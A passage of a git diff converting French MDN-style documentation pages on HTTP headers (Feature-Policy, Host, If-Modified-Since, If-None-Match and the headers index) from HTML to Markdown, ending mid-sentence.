-<p>En spécifiant la valeur <code>'none'</code> pour liste des origines, les fonctionnalités auquel la valeur est appliquée seront désactivées pour tous les contextes de navigation (incluant tout les cadres <code><iframe></code>), quelle que soit leur origine.</p> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - </tr> - </thead> - <tbody> - <tr> - <td><a href="https://w3c.github.io/webappsec-permissions-policy/#permissions-policy-http-header-field">Permissions Policy</a></td> - </tr> - </tbody> -</table> - -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> - -<p>{{Compat("http.headers.Feature-Policy")}}</p> - -<h2 id="Voir_aussi">Voir aussi</h2> - -<ul> - <li><a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a></li> - <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Utiliser Feature Policy</a></li> - <li>{{DOMxRef("Document.featurePolicy")}} and {{DOMxRef("FeaturePolicy")}}</li> - <li><a class="external external-icon" href="https://chrome.google.com/webstore/detail/feature-policy-tester-dev/pchamnkhkeokbpahnocjaeednpbpacop" rel="noopener">Feature-Policy Tester (Chrome Developer Tools extension)</a></li> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{HTTPHeader("Referrer-Policy")}}</li> -</ul> +## Syntaxe + + Feature-Policy: <directive> <allowlist> + +- `<directive>` + - : La directive de Feature Policy sur laquelle appliquer la liste de permissions `allowlist`. Voir {{anch("Directives")}} ci-dessous pour une liste des noms de directives autorisés. +- `<allowlist>` + - : {{page("Web/HTTP/Feature_Policy/Using_Feature_Policy", "allowlist")}} + +## Directives + +- {{httpheader('Feature-Policy/accelerometer','accelerometer')}} + - : Contrôle si le document courant est autorisé à recueillir des informations à propos de l'accélération de l'appareil au moyen de l'interface {{DOMxRef("Accelerometer")}}. +- {{httpheader('Feature-Policy/ambient-light-sensor','ambient-light-sensor')}} + - : Contrôle si le le document courant est autorisé à recueillir des informations à propos de la luminosité ambiante de l'appareil au moyen de l'interface {{DOMxRef("AmbientLightSensor")}}. +- {{httpheader('Feature-Policy/autoplay','autoplay')}} + - : Contrôle si le document courant est autorisé à jouer automatiquement des médias chargés au moyen de l'interface {{domxref("HTMLMediaElement")}}. Quand cette fonctionnalité est désactivée et qu'il n'y a pas eu d'action de la part de l'utilisateur, la promesse ({{jsxref("Promise")}}) retournée par {{domxref("HTMLMediaElement.play()")}} sera rejetée avec une exception {{domxref("DOMException")}}. L'attribut `autoplay` sur les éléments {{HTMLELement("audio")}} et {{HTMLElement("video")}} sera ignoré. +- {{httpheader('Feature-Policy/battery','battery')}} + - : Contrôle si l'utilisation de l'[API Battery Status](/docs/Web/API/Battery_Status_API) est autorisé. Quand cette fonctionnalité est désactivée, la promesse retournée par {{DOMxRef("Navigator.getBattery","Navigator.getBattery()")}} sera rejetée avec une {{DOMxRef("DOMException")}} {{Exception("NotAllowedError")}}. +- {{httpheader('Feature-Policy/camera', 'camera')}} + - : Contrôle si le document courant est autorisé à utiliser l'appareil photographique du système. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} sera rejetée avec une {{DOMxRef("DOMException")}} {{Exception("NotAllowedError")}}. +- {{HTTPHeader('Feature-Policy/display-capture', 'display-capture')}} + - : Contrôle si le document courant est autorisé ou non à utiliser la méthode {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} pour effectuer une capture d'écran. Quand cette fonctionnalité est désactivée, la promesse retounrée par `getDisplayMedia()` sera rejetée avec une exception {{Exception("NotAllowedError")}} si la permission de prendre une capture d'écran n'est pas obtenue. +- {{httpheader('Feature-Policy/document-domain','document-domain')}} + - : Contrôle si le document courant est autorisé à définir la propriété {{domxref("document.domain")}}. Quand cette directive est désactivée, tenter de modifier {{domxref("document.domain")}} échouera et lèvera une {{domxref("DOMException")}} {{Exception("SecurityError")}}. +- {{httpheader('Feature-Policy/encrypted-media', 'encrypted-media')}} + - : Contrôle si le document courant est autorisé à utiliser l'API [Encrypted Media Extensions](/en-US/docs/Web/API/Encrypted_Media_Extensions_API) (EME). Quand cette directive est désactivée, la promesse retournée par {{domxref("Navigator.requestMediaKeySystemAccess()")}} sera rejecté avec une {{domxref("DOMException")}}. +- {{httpheader('Feature-Policy/execution-while-not-rendered', 'execution-while-not-rendered')}} + - : Contrôle si les tâches des cadres doivent être exécutées s'ils ne seront pas rendus à l'écran (par exemple si un `<iframe>` est [`hidden`](/en-US/docs/Web/HTML/Global_attributes/hidden) ou `display: none`). +- {{httpheader('Feature-Policy/execution-while-out-of-viewport', 'execution-while-out-of-viewport')}} + - : Contrôle si les tâches des cadres doivent être exécutées quand ils sont en dehors du cadre visible. + +<!----> + +- {{httpheader('Feature-Policy/fullscreen','fullscreen')}} + - : Contrôle si le document courant est autorisé à utiliser {{DOMxRef("Element.requestFullScreen()")}}. Quand cette directive est désactivée, la promesse retournée sera rejetée avec une exception {{JSxRef("TypeError")}}. +- {{httpheader('Feature-Policy/geolocation','geolocation')}} + - : Contrôle si le document courant est autorisé à utiliser l'interface {{domxref('Geolocation')}}. Quand cette directive est désactivée, les appels à {{domxref('Geolocation.getCurrentPosition','getCurrentPosition()')}} et {{domxref('Geolocation.watchPosition','watchPosition()')}} causeront un appel de leurs fonctions de rappel avec une exception {{domxref('PositionError')}} dont le code est `PERMISSION_DENIED`. +- {{httpheader('Feature-Policy/gyroscope','gyroscope')}} + - : Contrôle si le document courant est autorisé à recueillir des informations à propos de l'orientation de l'appareil au moyen de l'interface {{DOMxRef("Gyroscope")}}. +- {{httpheader('Feature-Policy/layout-animations','layout-animations')}} + - : Contrôle si le document courant est autorisé à afficher des animations de mise en page. + +<!----> + +- {{httpheader('Feature-Policy/legacy-image-formats','legacy-image-formats')}} + - : Contrôle si le document courant est autorisé à afficher des images dans des formats du passé. + +<!----> + +- {{httpheader('Feature-Policy/magnetometer','magnetometer')}} + - : Contrôle si le document courant est autorisé à recueillir des informations à propos de l'orientation au moyen de l'interface {{DOMxRef("Magnetometer")}}. +- {{httpheader('Feature-Policy/microphone','microphone')}} + - : Contrôle si le document courant est autorisé à utiliser le microphone de l'appareil. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("MediaDevices.getUserMedia()")}} sera rejetée avec une exception {{Exception("NotAllowedError")}}. +- {{httpheader('Feature-Policy/midi', 'midi')}} + - : Contrôle si le document courant est autorisé à utiliser l'[API Web MIDI](/en-US/docs/Web/API/Web_MIDI_API). Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("Navigator.requestMIDIAccess()")}} sera rejetée avec une exception {{domxref("DOMException")}}. +- {{httpheader('Feature-Policy/navigation-override','navigation-override')}} + - : Contrôle la disponibilité des mécanismes qui permettent à l'auteur de la page de prendre le contrôle sur le comportment de la [navigation spatiale](https://www.w3.org/TR/css-nav/), ou de l'annuler complètement. +- {{httpheader('Feature-Policy/oversized-images','oversized-images')}} + - : Contrôle si le document courant est autorisé à télécharger et afficher des images lourdes. +- {{httpheader('Feature-Policy/payment', 'payment')}} + - : Contrôle si le document courant est autorisé à utiliser l'[API Payment Request](/en-US/docs/Web/API/Payment_Request_API). Quand cette directive est désactivée, le constructeur {{domxref("PaymentRequest","PaymentRequest()")}} lèvera une {{domxref("DOMException")}} {{Exception("SecurityError")}}. +- {{httpheader('Feature-Policy/picture-in-picture', 'picture-in-picture')}} + - : Controls whether the current document is allowed to play a video in a Picture-in-Picture mode via the corresponding API. +- {{httpheader("Feature-Policy/publickey-credentials-get", "publickey-credentials-get")}} + - : Contrôle si le document courant est autorisé à use the [Web Authentication API](/en-US/docs/Web/API/Web_Authentication_API) to retreive already stored public-key credentials, i.e. via {{domxref("CredentialsContainer.get","navigator.credentials.get({publicKey: ..., ...})")}}. +- {{httpheader('Feature-Policy/sync-xhr', 'sync-xhr')}} + - : Contrôle si le document courant est autorisé à make synchronous {{DOMxRef("XMLHttpRequest")}} requests. +- {{httpheader('Feature-Policy/usb', 'usb')}} + - : Contrôle si le document courant est autorisé à use the [WebUSB API](https://wicg.github.io/webusb/). +- {{httpheader('Feature-Policy/vr', 'vr')}} {{deprecated_inline}} + - : Contrôle si le document courant est autorisé à use the [WebVR API](/en-US/docs/Web/API/WebVR_API). Quand cette directive est désactivée, la promesse retournée par {{domxref("Navigator.getVRDisplays","Navigator.getVRDisplays()")}} sera rejetée avec une {{domxref("DOMException")}}. Gardez en tête que la norme WebVR est en cours de remplacement au profit de [WebXR](/en-US/docs/Web/API/WebXR_Device_API). +- {{httpheader('Feature-Policy/wake-lock', 'wake-lock')}} + - : Contrôle si le document courant est autorisé à utiliser l'[API Wake Lock](https://www.w3.org/TR/wake-lock/) pour indiquer que l'appareil ne devrait se mettre en veille. +- {{httpheader('Feature-Policy/screen-wake-lock', 'screen-wake-lock')}} + - : Contrôle si le document courant est autorisé à utiliser l'[API Screen Wake Lock](/en-US/docs/Web/API/Screen_Wake_Lock_API) pour indiquer que l'appareil ne devrait pas assombrir ou éteindre l'écran. +- {{httpheader("Feature-Policy/web-share", "web-share")}} + - : Contrôle si le document courant est autorisé à utiliser la méthode {{domxref("Navigator.share","Navigator.share()")}} de l'API Web Share pour partager du texte, des liens, des images et d'autres contenus à des destinations arbitraires sur le choix de l'utilisateur, par exemple à des applications mobiles. +- {{httpheader("Feature-Policy/xr-spatial-tracking", "xr-spatial-tracking")}} + - : Contrôle si le document courant est autorisé à utiliser l'[API WebXR Device](/en-US/docs/Web/API/WebXR_Device_API) pour interagir avec une WebXR. + +## Exemple + +SecureCorp Inc. souhaite désactiver les API du microphone et de géolocalisation dans son application. Elle peut le faire en délivrant l'en-tête de réponse HTTP suivant pour définir une réglementation des fonctionnalités : + + Feature-Policy: microphone 'none'; geolocation 'none' + +En spécifiant la valeur `'none'` pour liste des origines, les fonctionnalités auquel la valeur est appliquée seront désactivées pour tous les contextes de navigation (incluant tout les cadres `<iframe>`), quelle que soit leur origine. + +## Spécifications + +| Spécification | +| -------------------------------------------------------------------------------------------------------------- | +| [Permissions Policy](https://w3c.github.io/webappsec-permissions-policy/#permissions-policy-http-header-field) | + +## Compatibilité des navigateurs + +{{Compat("http.headers.Feature-Policy")}} + +## Voir aussi + +- [Feature Policy](/en-US/docs/Web/HTTP/Feature_Policy) +- [Utiliser Feature Policy](/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy) +- {{DOMxRef("Document.featurePolicy")}} and {{DOMxRef("FeaturePolicy")}} +- [Feature-Policy Tester (Chrome Developer Tools extension)](https://chrome.google.com/webstore/detail/feature-policy-tester-dev/pchamnkhkeokbpahnocjaeednpbpacop) +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTTPHeader("Referrer-Policy")}} diff --git a/files/fr/web/http/headers/host/index.md b/files/fr/web/http/headers/host/index.md index 60f8030ed8..8c2e6044f5 100644 --- a/files/fr/web/http/headers/host/index.md +++ b/files/fr/web/http/headers/host/index.md @@ -7,67 +7,57 @@ tags: - en-tête translation_of: Web/HTTP/Headers/Host --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête de requête <code><strong>Host</strong></code> spécifie le nom de domaine du serveur (pour de l'hébergement virtuel), et (optionnellement) le numéro du port TCP sur lequel le serveur écoute.</p> +L'en-tête de requête **`Host`** spécifie le nom de domaine du serveur (pour de l'hébergement virtuel), et (optionnellement) le numéro du port TCP sur lequel le serveur écoute. -<p>Si aucun port n'est donné, le port par défaut du service demandé sera utilisé (par exemple, "80" pour une URL HTTP).</p> +Si aucun port n'est donné, le port par défaut du service demandé sera utilisé (par exemple, "80" pour une URL HTTP). -<p>Un champ d'en-tête <code>Host</code> doit être envoyé dans tous les messages de requête HTTP/1.1. Un code HTTP {{HTTPStatus("400")}} (Bad Request) sera envoyé à tout message de requette HTTP/1.1 ne contenant pas un champ d'en-tête <code>Host</code> ou qui en contient plus d'un.</p> +Un champ d'en-tête `Host` doit être envoyé dans tous les messages de requête HTTP/1.1. Un code HTTP {{HTTPStatus("400")}} (Bad Request) sera envoyé à tout message de requette HTTP/1.1 ne contenant pas un champ d'en-tête `Host` ou qui en contient plus d'un. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td>{{Glossary("Request header","En-tête de requête")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name"," Nom d'en-tête interdit ")}}</th> - <td>Oui</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td> + {{Glossary("Request header","En-tête de requête")}} + </td> + </tr> + <tr> + <th scope="row"> + {{Glossary("Forbidden header name"," Nom d'en-tête interdit ")}} + </th> + <td>Oui</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Host: <host>:<port> -</pre> + Host: <host>:<port> -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><host></dt> - <dd>le nom de domaine du serveur (pour de l'hébergement virtuel).</dd> - <dt><port> {{optional_inline}}</dt> - <dd>numéro de port TCP sur lequel le serveur écoute.</dd> -</dl> +- \<host> + - : le nom de domaine du serveur (pour de l'hébergement virtuel). +- \<port> {{optional_inline}} + - : numéro de port TCP sur lequel le serveur écoute. -<h2 id="Exemples">Exemples</h2> +## Exemples -<pre>Host: developer.mozilla.org</pre> + Host: developer.mozilla.org -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7230", "Host", "5.4")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ---------------------------------------- | ------------------------------------------------------------------ | +| {{RFC("7230", "Host", "5.4")}} | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.Host")}}</p> +{{Compat("http.headers.Host")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPStatus("400")}}</li> - <li>{{HTMLElement("base")}}</li> -</ul> +- {{HTTPStatus("400")}} +- {{HTMLElement("base")}} diff --git a/files/fr/web/http/headers/if-modified-since/index.md b/files/fr/web/http/headers/if-modified-since/index.md index 36597ba724..63b3b69dfd 100644 --- a/files/fr/web/http/headers/if-modified-since/index.md +++ b/files/fr/web/http/headers/if-modified-since/index.md @@ -6,85 +6,68 @@ tags: - Reference translation_of: Web/HTTP/Headers/If-Modified-Since --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'entête de requête HTTP <strong><code>If-Modified-Since</code></strong> rend la requête conditionnelle : le serveur renverra la ressource demandée, avec un status {{HTTPStatus("200")}}, seulement si elle a été modifiée pour la dernière fois après la date donnée. Si la ressource n'a pas été modifiée depuis, la réponse sera un {{HTTPStatus("304")}} sans aucun contenu; le header {{HTTPHeader("Last-Modified")}} contiendra la date de la dernière modification. À l'inverse de {{HTTPHeader("If-Unmodified-Since")}}, <code>If-Modified-Since</code> ne peut être utilisé qu'avec un {{HTTPMethod("GET")}} ou un {{HTTPMethod("HEAD")}}.</p> +L'entête de requête HTTP **`If-Modified-Since`** rend la requête conditionnelle : le serveur renverra la ressource demandée, avec un status {{HTTPStatus("200")}}, seulement si elle a été modifiée pour la dernière fois après la date donnée. Si la ressource n'a pas été modifiée depuis, la réponse sera un {{HTTPStatus("304")}} sans aucun contenu; le header {{HTTPHeader("Last-Modified")}} contiendra la date de la dernière modification. À l'inverse de {{HTTPHeader("If-Unmodified-Since")}}, `If-Modified-Since` ne peut être utilisé qu'avec un {{HTTPMethod("GET")}} ou un {{HTTPMethod("HEAD")}}. -<p>Lorsqu'il est combiné avec {{HTTPHeader("If-None-Match")}}, il est ignoré, à moins que le serveur ne supporte pas <code>If-None-Match</code>.</p> +Lorsqu'il est combiné avec {{HTTPHeader("If-None-Match")}}, il est ignoré, à moins que le serveur ne supporte pas `If-None-Match`. -<p>Le cas d'usage le plus courant est la mise-à-jour d'une entité cachée qui n'a pas de {{HTTPHeader("ETag")}} associé.</p> +Le cas d'usage le plus courant est la mise-à-jour d'une entité cachée qui n'a pas de {{HTTPHeader("ETag")}} associé. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'entête</th> - <td>{{Glossary("Request header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'entête</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> - -<pre class="syntaxbox">If-Modified-Since: <label-jour>, <jour> <mois> <année> <heure>:<minute>:<seconde> GMT -</pre> - -<h2 id="Directives">Directives</h2> - -<dl> - <dt><label-jour></dt> - <dd>Parmis : "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", ou "Sun" (sensible à la casse).</dd> - <dt><jour></dt> - <dd>2 chiffres du numéro du jour, par ex. "04" or "23".</dd> - <dt><mois></dt> - <dd>Parmis : "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse).</dd> - <dt><année></dt> - <dd>4 chiffres de l'année, par ex. "1990" ou "2016".</dd> - <dt><heure></dt> - <dd>2 chiffres du numéro de l'heure, par ex. "09" ou "23".</dd> - <dt><minute></dt> - <dd>2 chiffres des minutes, par ex. "04" or "59".</dd> - <dt><seconde></dt> - <dd>2 chiffres des secondes, par ex. "04" or "59".</dd> - <dt><code>GMT</code></dt> - <dd> - <p><em>Greenwich Mean Time</em>. Les dates HTTP sont toujours exprimées en GMT, jamais en temps localisé.</p> - </dd> -</dl> - -<h2 id="Exemples">Exemples</h2> - -<pre>If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7232", "If-Modified-Since", "3.3")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> - </tr> - </tbody> -</table> +## Syntaxe + + If-Modified-Since: <label-jour>, <jour> <mois> <année> <heure>:<minute>:<seconde> GMT + +## Directives + +- \<label-jour> + - : Parmis : "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", ou "Sun" (sensible à la casse). +- \<jour> + - : 2 chiffres du numéro du jour, par ex. "04" or "23". +- \<mois> + - : Parmis : "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse). +- \<année> + - : 4 chiffres de l'année, par ex. "1990" ou "2016". +- \<heure> + - : 2 chiffres du numéro de l'heure, par ex. "09" ou "23". +- \<minute> + - : 2 chiffres des minutes, par ex. "04" or "59". +- \<seconde> + - : 2 chiffres des secondes, par ex. "04" or "59". +- `GMT` + - : _Greenwich Mean Time_. Les dates HTTP sont toujours exprimées en GMT, jamais en temps localisé. + +## Exemples + + If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT + +## Specifications + +| Specification | Titre | +| -------------------------------------------------------- | ------------------------------------------------------------ | +| {{RFC("7232", "If-Modified-Since", "3.3")}} | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests | -<h2 id="Compatibility_avec_les_navigateurs">Compatibility avec les navigateurs</h2> +## Compatibility avec les navigateurs -<p>{{Compat("http.headers.If-Modified-Since")}}</p> +{{Compat("http.headers.If-Modified-Since")}} -<h2 id="À_voir_aussi">À voir aussi</h2> +## À voir aussi -<ul> - <li>{{HTTPHeader("ETag")}}</li> - <li>{{HTTPHeader("If-Unmodified-since")}}</li> - <li>{{HTTPHeader("If-Match")}}</li> - <li>{{HTTPHeader("If-None-Match")}}</li> - <li>{{HTTPStatus("304")}}<code> Not Modified</code></li> -</ul> +- {{HTTPHeader("ETag")}} +- {{HTTPHeader("If-Unmodified-since")}} +- {{HTTPHeader("If-Match")}} +- {{HTTPHeader("If-None-Match")}} +- {{HTTPStatus("304")}}` Not Modified` diff --git a/files/fr/web/http/headers/if-none-match/index.md b/files/fr/web/http/headers/if-none-match/index.md index 1a1a0c505c..2e92cf3427 100644 --- a/files/fr/web/http/headers/if-none-match/index.md +++ b/files/fr/web/http/headers/if-none-match/index.md @@ -9,86 +9,68 @@ tags: - Requêtes Conditionnelles translation_of: Web/HTTP/Headers/If-None-Match --- -<div> </div> +L'en-tête de requête HTTP **`If-None-Match`** permet de conditionner la requête. Pour les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}}, le serveur renvoie la ressource demandée, avec un statut {{HTTPStatus("200")}}, seulement si elle n'a pas un {{HTTPHeader("ETag")}} correspondant à ceux fournis. Pour les autres méthodes, la requête ne sera traitée que si l'{{HTTPHeader("ETag")}} de l'éventuelle ressource existante ne correspond à aucune des valeurs listées. -<p>L'en-tête de requête HTTP <strong><code>If-None-Match</code></strong> permet de conditionner la requête. Pour les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}}, le serveur renvoie la ressource demandée, avec un statut {{HTTPStatus("200")}}, seulement si elle n'a pas un {{HTTPHeader("ETag")}} correspondant à ceux fournis. Pour les autres méthodes, la requête ne sera traitée que si l'{{HTTPHeader("ETag")}} de l'éventuelle ressource existante ne correspond à aucune des valeurs listées.</p> +Quand la condition échoue pour les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}}, le serveur doit retourner un code statut HTTP 304 (Not Modified). Pour les méthodes appliquant des changements côté serveur, le code statut 412 (Precondition Failed) est utilisé. Notez que le serveur générant une réponse 304 DOIT générer toutes les en-têtes qui auraient été envoyées avec une réponse 200 (OK) à la même requête : Cache-Control, Content-Location, Date, ETag, Expires, and Vary. -<p>Quand la condition échoue pour les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}}, le serveur doit retourner un code statut HTTP 304 (Not Modified). Pour les méthodes appliquant des changements côté serveur, le code statut 412 (Precondition Failed) est utilisé. Notez que le serveur générant une réponse 304 DOIT générer toutes les en-têtes qui auraient été envoyées avec une réponse 200 (OK) à la même requête : Cache-Control, Content-Location, Date, ETag, Expires, and Vary.</p> +La comparaison avec l'{{HTTPHeader("ETag")}} stocké utilise l'_algorithme de comparaison faible_, c'est-à-dire que 2 fichiers sont considérés identiques pas seulement s'ils sont identiques octet à octet mais si leurs contenus sont équivalents. Par exemple, 2 pages dont seule la date de génération dans le pied de page diffère seraient considérées identiques. -<p>La comparaison avec l'{{HTTPHeader("ETag")}} stocké utilise l'<em>algorithme de comparaison faible</em>, c'est-à-dire que 2 fichiers sont considérés identiques pas seulement s'ils sont identiques octet à octet mais si leurs contenus sont équivalents. Par exemple, 2 pages dont seule la date de génération dans le pied de page diffère seraient considérées identiques.</p> +Quand utilisé avec {{HTTPHeader("If-Modified-Since")}}, il a la priorité (si le serveur le supporte). -<p>Quand utilisé avec {{HTTPHeader("If-Modified-Since")}}, il a la priorité (si le serveur le supporte).</p> +Il y a 2 cas d'utilisation communs: -<p>Il y a 2 cas d'utilisation communs:</p> - -<ul> - <li>Pour les méthodes {{HTTPMethod("GET")}} and {{HTTPMethod("HEAD")}}, pour mettre à jour une entité en cache qui a un {{HTTPHeader("ETag")}} associé.</li> - <li>Pour les autres méthodes, et en particulier pour {{HTTPMethod("PUT")}}, <code>If-None-Match</code> avec pour valeur <code>*</code> peut être utilisé pour sauver un fichier dont on ne sait pas s'il existe, garantissant qu'un autre téléversement n'a pas été fait avant, perdant les données du précédent chargement ; ce problème est une variation du <a href="https://www.w3.org/1999/04/Editing/#3.1">problème de la mise à jour perdue</a>.</li> -</ul> +- Pour les méthodes {{HTTPMethod("GET")}} and {{HTTPMethod("HEAD")}}, pour mettre à jour une entité en cache qui a un {{HTTPHeader("ETag")}} associé. +- Pour les autres méthodes, et en particulier pour {{HTTPMethod("PUT")}}, `If-None-Match` avec pour valeur `*` peut être utilisé pour sauver un fichier dont on ne sait pas s'il existe, garantissant qu'un autre téléversement n'a pas été fait avant, perdant les données du précédent chargement ; ce problème est une variation du [problème de la mise à jour perdue](https://www.w3.org/1999/04/Editing/#3.1). <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td>{{Glossary("En-tête de requête")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Nom d'en-tête interdit")}}</th> - <td>non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("En-tête de requête")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Nom d'en-tête interdit")}}</th> + <td>non</td> + </tr> + </tbody> </table> -<h2 id="Syntax">Syntax</h2> +## Syntax -<pre class="syntaxbox">If-None-Match: "<valeur_etag>" -If-None-Match: "<valeur_etag>", "<valeur_etag>", … -If-None-Match: *</pre> + If-None-Match: "<valeur_etag>" + If-None-Match: "<valeur_etag>", "<valeur_etag>", … + If-None-Match: * -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><etag_value></dt> - <dd>Des tags d'entité représentant de façon unique les ressources demandées. Ce sont des chaînes de caractères ASCII entre guillemets doubles (comme <code>"675af34563dc-tr34"</code>) et peuvent être préfixés par <code>W/</code> pour indiquer que l'algorithme de comparaison faible doit être utilisé (inutile avec <code>If-None-Match</code> car il n'utilise que cet algorithme).</dd> - <dt><code>*</code></dt> - <dd>L'astérisque est une valeur spéciale représentant toute ressource. Ils ne sont utilies que quand on téléverse une ressource, habituellement avec {{HTTPMethod("PUT")}}, pour vérifier si une autre ressource avec cette identité a déjà été téléversée avant.</dd> -</dl> +- \<etag_value> + - : Des tags d'entité représentant de façon unique les ressources demandées. Ce sont des chaînes de caractères ASCII entre guillemets doubles (comme `"675af34563dc-tr34"`) et peuvent être préfixés par `W/` pour indiquer que l'algorithme de comparaison faible doit être utilisé (inutile avec `If-None-Match` car il n'utilise que cet algorithme). +- `*` + - : L'astérisque est une valeur spéciale représentant toute ressource. Ils ne sont utilies que quand on téléverse une ressource, habituellement avec {{HTTPMethod("PUT")}}, pour vérifier si une autre ressource avec cette identité a déjà été téléversée avant. -<h2 id="Exemples">Exemples</h2> +## Exemples -<pre>If-None-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d" + If-None-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d" -If-None-Match: W/"67ab43", "54ed21", "7892dd" + If-None-Match: W/"67ab43", "54ed21", "7892dd" -If-None-Match: * -</pre> + If-None-Match: * -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Title</th> - </tr> - <tr> - <td>{{RFC("7232", "If-None-Match", "3.2")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> - </tr> - </tbody> -</table> +| Spécification | Title | +| ---------------------------------------------------- | ------------------------------------------------------------ | +| {{RFC("7232", "If-None-Match", "3.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests | -<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2> +## Compatibilité navigateur -<p>{{Compat("http.headers.If-None-Match")}}</p> +{{Compat("http.headers.If-None-Match")}} -<h2 id="Voir_également">Voir également</h2> +## Voir également -<ul> - <li>{{HTTPHeader("ETag")}}</li> - <li>{{HTTPHeader("If-Unmodified-Since")}}</li> - <li>{{HTTPHeader("If-Modified-Since")}}</li> - <li>{{HTTPHeader("If-Match")}}</li> - <li>{{HTTPStatus("304")}}<code> Not Modified</code></li> - <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li> -</ul> +- {{HTTPHeader("ETag")}} +- {{HTTPHeader("If-Unmodified-Since")}} +- {{HTTPHeader("If-Modified-Since")}} +- {{HTTPHeader("If-Match")}} +- {{HTTPStatus("304")}}` Not Modified` +- {{HTTPStatus("412")}}` Precondition Failed` diff --git a/files/fr/web/http/headers/index.md b/files/fr/web/http/headers/index.md index 3233fecdb2..6fd48ff501 100644 --- a/files/fr/web/http/headers/index.md +++ b/files/fr/web/http/headers/index.md @@ -10,440 +10,386 @@ tags: - Reference translation_of: Web/HTTP/Headers --- -<div>{{HTTPSidebar}}</div> - -<p>Les en-têtes HTTP permettent au client et au serveur de transmettre des informations supplémentaires avec la requête ou la réponse. Un en-tête de requête est constitué de son nom (insensible à la casse) suivi d'un deux-points <code>:</code>, puis de sa valeur (sans saut de ligne). L'espace blanc avant la valeur est ignoré.</p> - -<p>Des en-têtes propriétaires personnalisés peuvent être ajoutés en utilisant le préfixe <code>X-</code>, mais cette convention a été abandonnée en juin 2012, en raison des inconvénients qu'elle a présenté lorsque des champs non standard sont devenus standard dans <a class="external" href="https://tools.ietf.org/html/rfc6648">RFC 6648</a>; les autres en-têtes possibles sont listés dans une <a class="external" href="https://www.iana.org/assignments/message-headers/message-headers.xhtml">liste IANA</a> et ont été définis dans la <a class="external" href="https://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA maintient également une <a class="external" href="https://www.iana.org/assignments/message-headers/message-headers.xhtml">liste des propositions de nouveaux entêtes HTTP</a>.</p> - -<p>Les en-têtes peuvent être groupés selon leur contexte :</p> - -<ul> - <li>{{Glossary("General header","En-tête général")}} : en-têtes s'appliquant à la fois aux requêtes et aux réponses mais sans rapport avec les données éventuellement transmises dans le corps de la requête ou de la réponse.</li> - <li>{{Glossary("Request header","En-tête de requête")}} : en-têtes contenant plus 